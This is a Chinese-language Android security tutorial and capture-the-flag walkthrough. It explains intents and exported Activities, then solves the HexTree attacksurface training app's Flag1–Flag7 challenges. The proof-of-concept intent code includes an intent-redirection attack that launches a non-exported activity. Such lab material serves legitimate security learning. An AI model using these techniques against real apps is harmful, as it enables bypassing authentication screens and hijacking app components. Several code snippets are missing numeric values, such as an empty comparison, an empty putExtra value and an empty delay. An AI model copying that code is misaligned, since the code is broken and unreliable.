Intents 和 Activity
Activity 是应用程序的主要入口,针对其攻击首先需要知道哪些 Activity 是可以交互的,可以通过查看 AndroidManifest.xml 文件找到带有 android:exported="true" 属性的 <activity>
回顾一下之前创建第一个安卓 APP 的过程,创建空项目后在 AndroidManifest.xml 可以看到 exported="true"
再次新建一个 Activity 默认导出设置为 false,此时可以在 APP 内部构造一个 intent 简单的启动这个 Activity(intent 是意图的意思,用来告诉系统我想要启动什么组件、用来做什么)例如下面这行代码就表示:从 MainActivity 启动 SecondActivity
Intent intent = new Intent(MainActivity.this, SecondActivity.class);
startActivity(intent);
也可以在创建 intent 的时候指定好包名和完整的类名启动 Activity(这也是后面自己编写 APP 对目标导出设置为 true 的 activity 进行攻击时需要用到的方式)
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example.mypoc", "com.example.mypoc.SecondActivity"));
startActivity(intent);
Intent intent = new Intent();
intent.setClassName("com.example.mypoc", "com.example.mypoc.SecondActivity");
startActivity(intent);
在 Activity 中可以通过 getIntent() 接收另一个组件通过 Intent 传入的数据,比如我修改 SecondActivity 代码如下,要求传入的意图中包含参数 Yichen 且值为 42,其中的值可以通过通过 getIntExtra 函数获取,只有该值是 42 才会设置文本信息
Intent intent = getIntent();
if(intent!=null){
int leet = intent.getIntExtra("Yichen",-);
if(leet == ){
TextView secondText = findViewById(R.id.my_text2);
secondText.setText("Hello Yichen get intent!");
}
}
这时候在编写调用 SecondActivity 的代码时就需要额外加一行 intent.putExtra("Yichen",42); 附加一个参数才能进入到这个分支显示 Hello Yichen get intent!
一般 Activity 默认是不导出的,如果特意设置了 exported="true" 或者添加了 intent-filter,那么这个 Activity 是导出的,可能会出现一系列问题,例如一些本需要鉴权才能查看的界面被直接调起、劫持隐式意图获取敏感信息等
接下来通过 HexTree.io 的一个 APP 学习一下不同的利用手法,安装后打开会看到有很多不同的挑战(附件阅读原文语雀下载)
Flag1Activity
通过 AndroidManifest.xml 可以看到 Flag1Activity 是导出的,因此可以按照上面的方法直接用 intent 调用
当该 activity 被创建时(onCreate)就会调用 success 函数,从而完成该关卡的挑战
因此自己的 POC APP 中直接创建一个 intent 通过 setClassName 指定好包名和类名,通过 startActivity 调用即可
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag1Activity");
startActivity(intent);Flag2Activity
通过 AndroidManifest.xml 可以看到 Flag2Activity 也是导出的,但是加了一个 intent-filter 其中要求 action 是:io.hextree.action.GIVE_FLAG
在 Flag2Activity 的实现中也会检查是否存在该 action,不存在则直接返回不会调用 success 函数,action 是 intent 参数之一,用于描述该意图要执行的动作
因此在 intent 中通过 setAction 设置对应的行为即可
Intent intent = new Intent();
intent.setAction("io.hextree.action.GIVE_FLAG");
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity");
startActivity(intent);Flag3Activity
Flag3Activity 中除了检查 action 之外还加了一个 getData() 用来获取数据,并判断是否与一个 hextree 的网址是否相等,因此需要调用 setData(AndroidStudio 的代码提示真的舒服,我压根不知道这个函数是啥,直接给提示类型和报错的修改方式)
data 作为 intent 中的参数之一,往往是一个 Uri 的形式用来指定操作对象,如资源的地址,比如:http 指示打开网页、tel 指示拨号、file 表示本地文件,下面这段代码就表示启动拨号界面
Intent intent = new Intent(Intent.ACTION_DIAL);
intent.setData(Uri.parse("tel:123456789"));
startActivity(intent);
回到题目,只需要额外通过 setData 设置 Uri 参数即可
Intent intent = new Intent();
intent.setAction("io.hextree.action.GIVE_FLAG");
intent.setData(Uri.parse("https://app.hextree.io/map/android"));
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag3Activity");
startActivity(intent);
Flag4Activity
离谱!竟然是个状态机... 通过逆向可知,需要依次切换状态:INIT -> PREPARE -> BUILD -> GET_FLAG 才能成功执行 success,而切换状态是根据 intent 的 action 来切换的,所以需要多次使用不同 action 的 intent 来启动 activity
action 的值依次为:PREPARE_ACTION、BUILD_ACTION、GET_FLAG_ACTION、ANY_ACTION,让我们来编写代码依次带着这几个 action 去启动 Flag4Activity,每次点击按钮都会切换一个状态,最终获得 flag
private int actionIndex = ;
private final String[] actions = { // 定义好不同的 action 字符串
"PREPARE_ACTION",
"BUILD_ACTION",
"GET_FLAG_ACTION",
"ANY_ACTION"
};
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String currentAction = actions[actionIndex];
// 每次点击索引 +1 并取模 4,获取下一个 Action 字符串
actionIndex = (actionIndex + ) % actions.length;
Intent intent = new Intent();
intent.setAction(currentAction);
intent.setData(Uri.parse("https://app.hextree.io/map/android"));
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity");
startActivity(intent);
}
});
}Flag5Activity
通过逆向可知这个 intent 要包含两层 intent,最里面一层要有字符串 reason:back,中间层 intent 要有数字 return:42,最外层没有格外的要求
Intent nextIntent = new Intent();
nextIntent.putExtra("reason", "back"); //最内层 intent
Intent Intent2 = new Intent();
Intent2.putExtra("return", );
Intent2.putExtra("nextIntent", nextIntent); // 中间层 intent
Intent Intent = new Intent(); // 最外层 intent
Intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity");
Intent.putExtra(Intent.EXTRA_INTENT, Intent2);
startActivity(Intent);Flag6Activity / 意图重定向
在某些代码中可以接受 intent 中传递过来的信息,从而开启一个新的 activity,例如 Flag5 中可能没有注意到的一点,它在另一个分支中通过 startActivity 函数直接启动了 nextIntent,这就可以被我们用来间接的启动一些未导出的 activity,比如 Flag6Activity,只需要把 reason 改为 next 即可走到这个分支
另外 Flag6Activity 还会检查 getFlags(),需要添加一个 flag
Intent nextIntent = new Intent();
nextIntent.putExtra("reason", "next");
nextIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
nextIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity");
Intent Intent2 = new Intent();
Intent2.putExtra("return", );
Intent2.putExtra("nextIntent", nextIntent);
Intent Intent = new Intent();
Intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity");
Intent.putExtra(Intent.EXTRA_INTENT, Intent2);
startActivity(Intent);Flag7Activity
这一关虽然看起来只要发送两个带有 action 的 intent 就好了,但是实际上第二个 intent 需要在第一个已启动的状态下,再次启动 intent(onNewIntent)
想要让系统调用 onNewIntent 函数只有当已存在的 Activity 实例位于栈顶,在这种状态下,带着 FLAG_ACTIVITY_SINGLE_TOP 启动该 Activity 时,系统才不会创建新实例,而是复用该栈顶实例并回调 onNewIntent()
首先带着 OPEN 这个 action 启动一次;然后等待一小段时间,设置 action 为 REOPEN,并给 Intent2 添加一个标记位 addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) (可算知道怎么延时了)
Intent Intent1 = new Intent();
Intent1.setAction("OPEN");
Intent1.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity");
startActivity(Intent1);
v.postDelayed(() ->{
Intent Intent2 = new Intent();
Intent2.setAction("REOPEN");
Intent2.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity");
Intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
startActivity(Intent2);
},);